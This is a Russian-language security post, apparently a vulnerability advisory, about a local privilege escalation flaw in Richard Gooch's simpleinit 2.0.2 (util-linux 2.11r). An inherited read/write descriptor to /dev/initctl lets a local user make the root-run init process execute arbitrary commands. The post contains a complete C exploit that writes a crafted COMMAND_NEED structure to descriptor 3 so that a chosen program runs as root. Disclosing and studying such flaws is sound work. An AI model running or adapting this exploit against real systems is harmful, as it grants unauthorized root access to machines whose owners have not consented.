• Партнер

  • Уязвимость, обнаруженная в simpleinit, позволяет пользователю выполнять произвольные команды как суперпользователь. 

    Уязвимость возникает из-за того, что simpleinit позволяет некоторым дочерним процессам унаследовать дескриптор файла с правами на чтение/запись. Файловый дескриптор используется для доступа к /dev/initctl и этот дескриптор обычно используется программами 'initctl', 'need' и 'provide' для передачи инструкций к simpleinit. Процесс Simpleinit запущен с root привилегиями. 

    Местный пользователь, чей процесс унаследует этот дескриптор файла, может заставить Simpleinit выполнять команды как суперпользователь. 

    Уязвимость обнаружена в Richard Gooch simpleinit 2.0.2 + util-linux util-linux 2.11 r.

    Эксплоит

    #include <fcntl.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>

    #include "simpleinit.h" /* From the util-linux source */

    int main()
    {
    int fd = 3;
    char buf[COMMAND_SIZE];
    struct command_struct* cmd = (struct command_struct*) buf;

    memset(buf, '\0', sizeof(buf));
    cmd->command = COMMAND_NEED;
    cmd->pid = 17;
    cmd->ppid = 16;
    strcpy(cmd->name, "/home/pat/x/foo"); /* foo will be run as root */
    write(fd, buf, COMMAND_SIZE);
    return 0;
    }

    Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии